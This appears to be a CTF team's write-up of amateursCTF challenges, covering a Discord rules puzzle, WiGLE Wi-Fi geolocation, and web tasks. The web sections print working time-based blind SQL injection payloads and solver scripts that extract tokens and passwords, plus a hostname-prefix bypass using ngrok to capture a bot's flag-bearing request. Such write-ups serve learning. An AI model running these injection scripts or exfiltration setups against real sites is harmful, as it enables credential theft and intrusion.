I participated with a team called 0nePadding and we came in 16th out of 914 teams.
I think there were roughly 700 teams that were active.
misc/Insanity check
The only problem is that many words are given in the description.

This rule was noticed by others on the team, but when words beginning with "i" are excluded The sentence "something hidden the rules" appears.

This CTF has a discord server, and since there is a rules channel, I can assume that there is a flag somewhere in there. I thought it might be stego since the image was posted, but I couldn't find anything in particular...

When I looked at rules on my iPhone, I noticed that the numberd list value in Markdown was a ridiculously large number.

So I copied the rules post as text and got 5 large integers.

Then, just by connecting these long_to_bytes and then connecting them together, I got the flag.
from Crypto.Util.number import long_to_bytes print(long_to_bytes(107122414347637)+long_to_bytes(125839376402043)+long_to_bytes(122524418662265)+long_to_bytes(122549902405493)+long_to_bytes(121377376789885))

misc/legality
They applied the AGPL license to an application he created. They forgot their password and will look for it.

The goal is to enter the password in the following web page.

The link to LICENSE exists, so I accessed it the email address of the administrator's? e-mail is listed.

I don't know much about it, but I think there was a rule that an AGPL-licensed application must provide source code if requested by the user, so I sent an email to the above email address.

A few hours later, I received a reply and the TypeScript source code.

The password was hard-coded in it, so I used it to log in and the FLAG was displayed.
main.ts
import { serve } from "https://deno.land/std@0.181.0/http/server.ts"; import { serveFile } from "https://deno.land/std@0.181.0/http/file_server.ts"; const handler = async (request: Request): Promise<Response> => { const url = new URL(request.url); switch(url.pathname) { case "/": return await serveFile(request, "index.html"); case "/LICENSE": return await serveFile(request, "LICENSE"); case "/submit": if(url.searchParams.get("password") == "il0vefreesoftware!distributefreely!") { return await serveFile(request, "flag.txt"); } else { return new Response("incorrect password.") } } return await serveFile(request, "404.html"); }; await serve(handler);

osint/ScreenshotGuesser
The problem is to identify the location of the wireless access point from its SSID.

This screenshot is given.

I used wigle to identify wireless APs.
Since PRIMAVERA FOUNDATION 5G_2.4GEXT was the only one in the world, we narrowed down the search to its vicinity and checked the latitude and longitude of other APs.
The search for NETGEAR17 was omitted because there were a large number of APs even if the search was narrowed down to a specific area.
| SSID | lat | long |
|---|---|---|
| PRIMAVERA FOUNDATION 5G_2.4GEXT | 32.23569107 | -110.98345184 |
| IBR600-22c | 32.23879242 | -110.98509979 |
| 5BA267 | 32.23749924 | -110.98191071 |
| ARRIS-4E0A | 32.235886 | -110.983539 |
| CenturyLink1432 | 32.23577118 | -110.98181152 |
| DIRECT-F4-HP ENVY Pro 6400 | 32.23579788 | -110.98252106 |
| Linksys08452-guest | 32.23592758 | -110.98352814 |
| NETGEAR17 | - | - |
All that was left was to round up these latitudes and longitudes and one of them was hit.
Additional processing was necessary because the question required a Proof of Work to be submitted.
solver.py
from pwn import * import subprocess import os #context.log_level = "debug" lats = [ 32.23569107, 32.23879242, 32.23749924, 32.235886, 32.23577118, 32.23579788, 32.23592758 ] longs = [ -110.98345184, -110.98509979, -110.98191071, -110.983539, -110.98181152, -110.98252106, -110.98352814 ] for i in lats: for j in longs: io = remote("amt.rs", 31450) line = io.recvline() #print(line) io.recvuntil(b"solution: ") pow_command = line.decode().replace("proof of work: ","") pow = subprocess.run(pow_command, capture_output=True, shell=True) io.send(pow.stdout) io.recvuntil(b"Please enter the long and lat of the location: ") io.sendline(f"{i}, {j}") if b"Wrong" not in io.recvline(): print(f"{i},{j}: {io.recvline()}") io.close() os._exit(0)

osint/Archived
The problem was archived, that is.
At first, I thought this was an official problem, but the SOLVES were increasing, so I worked on it.

I checked up on the author's discord profile and other social networking accounts, etc., but the discord made an announcement that the administrator's social accounts were irrelevant, so I changed course.
I searched for archives of the issue on the web, and found that the archives were available on the Internet Archive.

I downloaded 7z and unzipped it and found the FLAG.
![]()
web/cps remastered
After solving it, I noticed that there was an accident on this problem and it was 0 Point.
This problem was used in later problems, so the solution was not wasted.

There is a user registration function, a login function, and a function to display the password after login. I am not familiar with the functionality of CPS test.

registration

login

top after login. After login, token will be set in cookie.

Logins and other processes are handled using Prepared Statement, though,

When registering users, there is SQLi because it is combined using sprintf.

The payload is like this, getting TOKEN one character at a time.
username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{TOKEN}%')>0,SLEEP(5),0))--+-&password=test
solver.py
import requests import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) URL = "https://cps.amt.rs/register.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"} while True: for c in "abcdefghijklmnopqrstuvwxyz0123456789": payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{token+c}%')>0,SLEEP(5),0))--+-&password=test" res = requests.post( URL, headers=headers, data=payload, proxies=proxies, verify=False ) if res.elapsed.total_seconds() > 5: token += c print(token) check_payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token='{token}')>0,SLEEP(5),0))--+-&password=test" res2 = requests.post( URL, headers=headers, data=check_payload, proxies=proxies, verify=False ) if res2.elapsed.total_seconds() > 5: print(f"token={token}") break
Then, if you set the token to a cookie and access it, the password (flag) will be displayed.

web/go-gopher
It is a gopher problem.

The bot accesses the gopherURL entered on the Web, and the bot sends an HTTP request to the URL on the gopher response.

The flag of the HTTP request body that was sent is output, so we somehow retrieve it.
The bot side of the web runs bot.go and the gopher server side runs main.go.
bot.go
package main import ( "bytes" "fmt" "log" "net/http" "net/url" "os" "strings" "git.mills.io/prologic/go-gopher" ) var flag = []byte{} func main() { content, err := os.ReadFile("flag.txt") if err != nil { log.Fatal(err) } flag = content http.HandleFunc("/submit", Submit) http.HandleFunc("/", Index) if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) } } func Index(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "index.html") } func Submit(w http.ResponseWriter, r *http.Request) { r.ParseForm() u, err := url.Parse(r.Form.Get("url")) if err != nil || !strings.HasPrefix(u.Host, "amt.rs") { w.Write([]byte("Invalid url")) return } w.Write([]byte(Visit(r.Form.Get("url")))) } func Visit(url string) string { fmt.Println(url) res, err := gopher.Get(url) if err != nil { return fmt.Sprintf("Something went wrong: %s", err.Error()) } h, _ := res.Dir.ToText() fmt.Println(string(h)) url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:") fmt.Println(url) _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag)) if err != nil { return "Failed to make request" } return "Successful visit" }
main.go
package main import ( "fmt" "log" "net/url" "strings" "git.mills.io/prologic/go-gopher" ) func index(w gopher.ResponseWriter, r *gopher.Request) { w.WriteInfo("Welcome to the flag submitter!") w.WriteInfo("Please submit all your flags!") w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/submit/user", Description: "Submit flags here!", }) w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:https://ctf.amateurs.team/", Description: "Get me more flags lackeys!!", }) w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/", Description: "Nice gopher proxy", Host: "gopher.floodgap.com", Port: 70, }) } func submit(w gopher.ResponseWriter, r *gopher.Request) { name := strings.Split(r.Selector, "/")[2] undecoded, err := url.QueryUnescape(name) if err != nil { w.WriteError(err.Error()) } w.WriteInfo(fmt.Sprintf("Hello %s", undecoded)) w.WriteInfo("Please send a post request containing your flag at the server down below.") w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:http://amt.rs/gophers-catcher-not-in-scope", Description: "Submit here! (gopher doesn't have forms D:)", Host: "error.host", Port: 1, }) } func main() { mux := gopher.NewServeMux() mux.HandleFunc("/", index) mux.HandleFunc("/submit/", submit) log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux)) }
Looking at the processing of the Submit portion of bot.go, we can see that the host name check of the submitted URL is lax.
if err != nil || !strings.HasPrefix(u.Host, "amt.rs"){省略}
In this case, I can send a request to another domain such as amt.rs.selfhosted.com, so I can get a flag by the following process.
- prepare my own managed domain like `amt.rs.selfhosted.com
- run the modified main.go on amt.rs.selfhosted.com and listen for gopher requests
- start up an HTTP server at amt.rs.selfhosted.com and listen for flagged requests.
- submit
gopher://amt.rs.selfhosted.comtohttps://gopher-bot.amt.rs/.
This time we used ngrok.
Prepare your own managed domain like amt.rs.selfhosted.com
I set the address assigned to TCP Address in ngrok to CNAME for amt.rs.rikoteki.com.

Run modified main.go at amt.rs.selfhosted.com and listen for gopher requests
Rewrite the index handler part.
The rewritten URL is the domain name that can be used for HTTP obtained with ngrok.
func index(w gopher.ResponseWriter, r *gopher.Request) {
w.WriteInfo("Welcome to the flag submitter!")
w.WriteInfo("Please submit all your flags!")
w.WriteItem(&gopher.Item{
Type: gopher.DIRECTORY,
- Selector: "/submit/user",
+ Selector: "URL:http://rikoteki.ng.ngrok.app",
Description: "Submit flags here!",
})
w.WriteItem(&gopher.Item{
Type: gopher.FILE,
Selector: "URL:https://ctf.amateurs.team/",
Description: "Get me more flags lackeys!!",
})
w.WriteItem(&gopher.Item{
Type: gopher.DIRECTORY,
Selector: "/",
Description: "Nice gopher proxy",
Host: "gopher.floodgap.com",
Port: 70,
})
}
Execute.

Tunnel the local 7000 number in ngrok to the given TCP address.
ngrok tcp --region=us --remote-addr=7.tcp.ngrok.io:22365 7000
You can find it waiting for you at amt.rs.rikoteki.com.

Launch an HTTP server at amt.rs.selfhosted.com for the same and listen for requests with a flag on it.
Start up an HTTP server that can output the body since the body is flagged.

Tunnel HTTP 80 with ngrok.
ngrok http --domain=rikoteki.ng.ngrok.app 80

Submit gopher://amt.rs.selfhosted.com to https://gopher-bot.amt.rs/.
Submit gopher://amt.rs.rikoteki.com:22365 to Successful visit.

If you check the HTTP server, you will see that the flag is output.

web/gophers-revenge
This is an updated version of the go-gophers problem. It is a non-assumptive solution, but I solved it.
The hostname checking has been tightened up and a constraint has been added that the TLD+1 to which the HTTP request is sent must be amt.rs.
POST requests sent now have username and password parameters, with password being flagged.
Also, the response to a POST request now outputs a token cookie.
bot.go
package main import ( "bytes" "crypto/rand" "fmt" "log" "net/http" "net/url" "os" "strings" "git.mills.io/prologic/go-gopher" "golang.org/x/net/publicsuffix" ) var flag = []byte{} func randomString(length int) string { b := make([]byte, length+2) rand.Read(b) return fmt.Sprintf("%x", b)[2 : length+2] } func main() { content, err := os.ReadFile("flag.txt") if err != nil { log.Fatal(err) } flag = content http.HandleFunc("/submit", Submit) http.HandleFunc("/", Index) if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) } } func Index(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "index.html") } func Submit(w http.ResponseWriter, r *http.Request) { r.ParseForm() u, err := url.Parse(r.Form.Get("url")) if err != nil || u.Host != "amt.rs:31290" { w.Write([]byte("Invalid url")) return } w.Write([]byte(Visit(r.Form.Get("url")))) } func Visit(gopherURL string) string { fmt.Println(gopherURL) res, err := gopher.Get(gopherURL) if err != nil { return fmt.Sprintf("Something went wrong: %s", err.Error()) } rawURL, _ := strings.CutPrefix(res.Dir.Items[2].Selector, "URL:") fmt.Println(rawURL) u, err := url.Parse(rawURL) etldpo, err2 := publicsuffix.EffectiveTLDPlusOne(u.Host) if err != nil || err2 != nil || etldpo != "amt.rs" { return "Invalid url" } resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag)))) if err != nil { return "Failed to make request" } cookies := resp.Cookies() token := "" for _, c := range cookies { if c.Name == "token" { token = c.Value } } if token != "" { return fmt.Sprintf("Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s", token) } else { return "Something went wrong, my sever should have sent a cookie back but it didn't..." } }
The HTTP request must be sent to a subdomain of amt.rs, so I had to do something within it.
After thinking for a while, I realized that the user registration function in question, cps remasterd in 0 Point, takes username and password as parameters and sets a token in the cookie if the registration is successful. If you set the token and access the page, the password will be displayed and the flag will be taken.
The basic procedure is the same as in go-gopher, but I could not bypass the hostname check on the URL to send the gopher request, so I could not solve it this way.
We had no choice but to come up with another method.
About 10 teams had already solved this problem, so the cps remasterd database should have a user registered with the gopher-revenge flag as a password.
In addition, cps remasterd has SQLi, so it is possible to leak the password. So I got the flag with SQLi.
solver.py
import os import requests import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) URL = "https://cps.amt.rs/register.php" headers = {"Content-Type": "application/x-www-form-urlencoded"} proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"} password = "" while True: for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$_.{}+": escaped_char = "" if c in "~!@#$_.{}+": escaped_char = "\\" + c else: escaped_char = c tmp_password = password + escaped_char payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+CHAR_LENGTH(username)=20+and+password+LIKE+BINARY+'"+tmp_password+"%')+as+t1)>50,SLEEP(5),0))--+-&password=test" res = requests.post( URL, headers=headers, data=payload, proxies=proxies, verify=False ) if res.elapsed.total_seconds() > 5: password += c print(password) check_payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+password+LIKE+'amateursCTF\{" + tmp_password + "\}')+as+t1)>0,SLEEP(5),0))--+-&password=test" res2 = requests.post( URL, headers=headers, data=check_payload, proxies=proxies, verify=False ) if res2.elapsed.total_seconds() > 5: print(f"flag={password}") os._exit(0)
